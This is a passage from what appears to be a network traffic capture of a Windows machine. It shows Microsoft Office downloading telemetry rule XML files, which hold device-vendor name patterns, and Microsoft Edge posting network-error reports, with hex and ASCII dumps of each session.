DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:45 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:46 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:45 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024045Z-178bfbc474bwlrhlhC1NYCy3kg00000006u000000000c7sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:46 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49882	23.44.136.136	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:45 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:46 UTC	333	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Mon, 25 Nov 2024 02:40:46 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.8d872c17.1732502446.7f0e2ab Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:45 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:46 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9a3ed3ee-501e-00a0-41c6-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024046Z-178bfbc474bwh9gmhC1NYCy3rs00000006vg00000000fpma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:46 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024046Z-15b8b599d88tmlzshC1TEB4xpn000000054g00000000h9nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:46 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:46 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024046Z-174c587ffdf8fcgwhC1TEBnn7000000005cg00000000p7ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:46 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:46 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:46 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024046Z-178bfbc474bp8mkvhC1NYCzqnn00000006m000000000kmkp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:46 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49885	23.44.136.136	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:47 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:47 UTC	466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 39 35 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 35 31 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e Data Ascii: [{"age":59954,"body":{"elapsed_time":2515,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bin
2024-11-25 02:40:47 UTC	333	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Mon, 25 Nov 2024 02:40:47 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.88872c17.1732502447.c6f66cd Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:47 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:48 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024048Z-178bfbc474b9xljthC1NYCtw9400000006pg00000000myp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:48 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:47 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 06865bba-f01e-003f-0255-3ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024048Z-15b8b599d882zv28hC1TEBdchn000000053g00000000k26s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:48 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c86812d3-d01e-005a-35c0-3e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024048Z-178bfbc474b7cbwqhC1NYC8z4n00000006vg000000001bq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:48 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:48 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 93df3597-c01e-00a2-2d50-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024048Z-15b8b599d88cn5thhC1TEBqxkn000000056g00000000as57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:48 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:48 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:48 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024048Z-178bfbc474b7cbwqhC1NYC8z4n00000006v0000000002q07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:49 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:50 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
